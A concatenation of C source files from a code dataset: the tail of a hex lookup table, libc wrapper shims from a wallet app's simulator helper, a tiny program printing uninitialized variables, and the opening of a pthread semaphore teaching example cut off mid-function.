0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020,
0x0020, 0x0000, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000, 0x0000,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0020, 0x0000, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000, 0x0000,
0x0020, 0x0000, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000, 0x0000,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0020, 0x0000, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000, 0x0000,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020,
0x0020, 0x0020, 0x0020, 0x0000, 0x0000, 0x0020, 0x0020, 0x0020,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000, 0x0000, 0x0000,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020,
0x0020, 0x0020, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0016,
0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0016,
0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0000, 0x0000,
0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0016, 0x0000, 0x0000,
0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054,
0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054,
0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0054,
0x0054, 0x0054, 0x0054, 0x0054, 0x0054, 0x0000, 0x0000, 0x0000,
0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066,
0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066,
0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066,
0x0066, 0x0066, 0x0066, 0x0000, 0x0000, 0x0000, 0x0066, 0x0066,
0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066, 0x0066,
0x0066, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0072, 0x0072, 0x0072, 0x0072, 0x0072, 0x0072, 0x0072, 0x0072,
0x0072, 0x0072, 0x0072, 0x0072, 0x0072, 0x0000, 0x0072, 0x0072,
0x0072, 0x0072, 0x0072, 0x0072, 0x0072, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x002a, 0x002a, 0x002a, 0x002a, 0x002a, 0x002a, 0x002a, 0x002a,
0x002a, 0x002a, 0x002a, 0x002a, 0x002a, 0x002a, 0x002a, 0x002a,
0x002a, 0x002a, 0x002a, 0x002a, 0x002a, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0010, 0x0010, 0x0010, 0x0010, 0x0010, 0x0010, 0x0010, 0x0010,
0x0010, 0x0010, 0x0010, 0x0010, 0x0010, 0x0010, 0x0010, 0x0010,
0x0010, 0x0010, 0x0010, 0x0010, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0073, 0x0073, 0x0073, 0x0073, 0x0073, 0x0073, 0x0073, 0x0073,
0x0073, 0x0073, 0x0073, 0x0073, 0x0073, 0x0000, 0x0073, 0x0073,
0x0073, 0x0000, 0x0073, 0x0073, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037,
0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037,
0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037,
0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0000, 0x0000,
0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037, 0x0037,
0x0037, 0x0037, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x004d, 0x004d, 0x0000, 0x0000, 0x004d, 0x0000, 0x004d, 0x004d,
0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x0000,
0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d,
0x004d, 0x004d, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d,
0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d,
0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d, 0x004d,
0x004d, 0x004d, 0x004d, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d,
0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d,
0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d,
0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x0000,
0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d,
0x003d, 0x003d, 0x003d, 0x003d, 0x0000, 0x0000, 0x0000, 0x0000,
0x003d, 0x0000, 0x0000, 0x0000, 0x003d, 0x003d, 0x003d, 0x003d,
0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d, 0x003d,
0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f,
0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f,
0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f, 0x000f,
0x000f, 0x000f, 0x000f, 0x000f, 0x0000, 0x0000, 0x000f, 0x000f,
0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007,
0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007,
0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007,
0x0007, 0x0007, 0x0007, 0x0007, 0x0000, 0x0000, 0x0000, 0x0000,
0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0007,
0x0007, 0x0007, 0x0007, 0x0007, 0x0007, 0x0000, 0x0000, 0x0000,
0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f,
0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f,
0x000a, 0x000a, 0x000a, 0x000a, 0x000a, 0x000a, 0x000a, 0x000a,
0x000a, 0x000a, 0x000a, 0x000a, 0x000a, 0x000a, 0x000a, 0x000a,
0x000a, 0x000a, 0x000a, 0x000a, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x000a, 0x000a, 0x000a, 0x000a,
0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c,
0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c,
0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c,
0x0000, 0x0000, 0x0000, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c,
0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c, 0x003c,
0x003c, 0x003c, 0x0000, 0x0000, 0x0000, 0x003c, 0x003c, 0x003c,
0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f, 0x006f,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x001a, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0025, 0x0025, 0x0025,
0x0025, 0x0025, 0x003b, 0x003b, 0x003b, 0x003b, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x001a, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0000, 0x0000,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0000, 0x0000,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025,
0x0000, 0x0025, 0x0000, 0x0025, 0x0000, 0x0025, 0x0000, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0000, 0x0000,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0000, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0000, 0x0000, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0000, 0x0025, 0x0025, 0x0025,
0x0000, 0x0000, 0x0025, 0x0025, 0x0025, 0x0000, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0000,
0x0000, 0x003b, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0025, 0x0000,
0x0000, 0x0000, 0x003b, 0x003b, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x003b, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x003b, 0x0000,
0x000e, 0x000e, 0x000e, 0x000e, 0x000e, 0x000e, 0x000e, 0x000e,
0x000e, 0x000e, 0x000e, 0x000e, 0x000e, 0x000e, 0x000e, 0x000e,
0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022,
0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022,
0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022,
0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0022, 0x0000,
0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017,
0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017,
0x0017, 0x0017, 0x0017, 0x0017, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017,
0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d,
0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d,
0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d, 0x007d,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x007d,
0x007d, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x007d,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028,
0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028,
0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028,
0x0028, 0x0028, 0x0000, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028,
0x0028, 0x0028, 0x0028, 0x0028, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0028, 0x0000, 0x0028,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028,
0x0028, 0x0028, 0x0000, 0x0000, 0x0000, 0x0000, 0x0029, 0x0029,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0028, 0x0028, 0x0028, 0x0028, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d,
0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d,
0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d,
0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d,
0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x002d, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x002d, 0x002d, 0x002d,
0x0000, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0000, 0x0000, 0x0034, 0x0034, 0x0034,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x000c, 0x000c, 0x000c,
0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c,
0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c,
0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c,
0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c,
0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x0000, 0x0000,
0x0000, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0000,
0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c, 0x000c,
0x000c, 0x000c, 0x000c, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0000,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082,
0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082,
0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082,
0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0000, 0x0000, 0x0000,
0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0082, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0040, 0x0040, 0x0040, 0x0040, 0x0040, 0x0040, 0x0040, 0x0040,
0x0040, 0x0040, 0x0040, 0x0040, 0x0040, 0x0040, 0x0040, 0x0040,
0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080,
0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080,
0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080, 0x0080,
0x0080, 0x0080, 0x0080, 0x0080, 0x0000, 0x0000, 0x0000, 0x0000,
0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008,
0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008,
0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008, 0x0008,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x0000, 0x0000, 0x0000, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0000, 0x0000,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068,
0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068,
0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0068, 0x0068,
0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068, 0x0068,
0x0068, 0x0068, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c,
0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x0000, 0x0000,
0x0065, 0x0065, 0x0065, 0x0065, 0x0065, 0x0065, 0x0065, 0x0065,
0x0065, 0x0065, 0x0065, 0x0065, 0x0065, 0x0065, 0x0065, 0x0065,
0x0065, 0x0065, 0x0065, 0x0065, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0065,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0000, 0x0000, 0x0000,
0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031,
0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031,
0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031,
0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0000, 0x0000,
0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031, 0x0031,
0x0031, 0x0031, 0x0000, 0x0000, 0x0000, 0x0000, 0x0031, 0x0031,
0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050,
0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0000,
0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015,
0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015,
0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015,
0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0000, 0x0000,
0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015, 0x0015,
0x0015, 0x0015, 0x0000, 0x0000, 0x0015, 0x0015, 0x0015, 0x0015,
0x0000, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0000, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0000, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x0000, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0025, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0029, 0x0029, 0x0029, 0x0029, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0000,
0x0000, 0x0000, 0x0000, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0029, 0x0029, 0x0029, 0x0029, 0x0000, 0x0000, 0x0000, 0x0000,
0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028,
0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0000, 0x0000,
0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028, 0x0028,
0x0028, 0x0028, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x002c, 0x002c, 0x002c,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x0000,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x0000, 0x002c, 0x0000,
0x002c, 0x002c, 0x0000, 0x002c, 0x002c, 0x0000, 0x002c, 0x002c,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c,
0x0004, 0x0004, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0000, 0x0000,
0x0000, 0x0000, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x001a, 0x001a,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0000, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034,
0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0034, 0x0000, 0x0000,
0x0000, 0x0000, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0000, 0x0000, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0000, 0x0000, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0000, 0x0000, 0x0029, 0x0029, 0x0029, 0x0000, 0x0000, 0x0000
};
|
the_stack_data/106502.c | //
// simulatorHelper.c
// ColdKeySwift
//
// Created by Huang Yu on 8/4/15.
// Copyright (c) 2015 BitGo, Inc. All rights reserved.
//
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
FILE *fopen$UNIX2003( const char *filename, const char *mode )
{
return fopen(filename, mode);
}
int fputs$UNIX2003(const char *res1, FILE *res2){
return fputs(res1,res2);
}
int nanosleep$UNIX2003(int val){
return usleep(val);
}
char* strerror$UNIX2003(int errornum){
return strerror(errornum);
}
double strtod$UNIX2003(const char *nptr, char **endptr){
return strtod(nptr, endptr);
}
size_t fwrite$UNIX2003( const void *a, size_t b, size_t c, FILE *d )
{
return fwrite(a, b, c, d);
} |
the_stack_data/48574841.c | #include <stdio.h>
int main(void) {
char ch;
const char CH;
int num;
const int NUM;
float fn;
const float FN;
printf("%c %c %d %d %f %f \n", ch, CH, num, NUM, fn, FN);
return 0;
}
|
the_stack_data/9511493.c | // File name: ExtremeC_examples_chapter16_2.c
// Description: A classic example which demonstrates how
// general semaphores can be used to create
// molecules of water using threads of hydrogen
// and oxygen atoms. Each oxygen thread should
// wait for two hydrogen threads to form a water
// molecule.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include <errno.h> // For errno and strerror function
// The POSIX standard header for using pthread library
#include <pthread.h>
// Semaphores are not exposed through pthread.h
#include <semaphore.h>
#ifdef __APPLE__
// In Apple systems, we have to simulate the barrier functionality.
pthread_mutex_t barrier_mutex;
pthread_cond_t barrier_cv;
unsigned int barrier_thread_count;
unsigned int barrier_round;
unsigned int barrier_thread_limit;
void barrier_wait() {
pthread_mutex_lock(&barrier_mutex);
barrier_thread_count++;
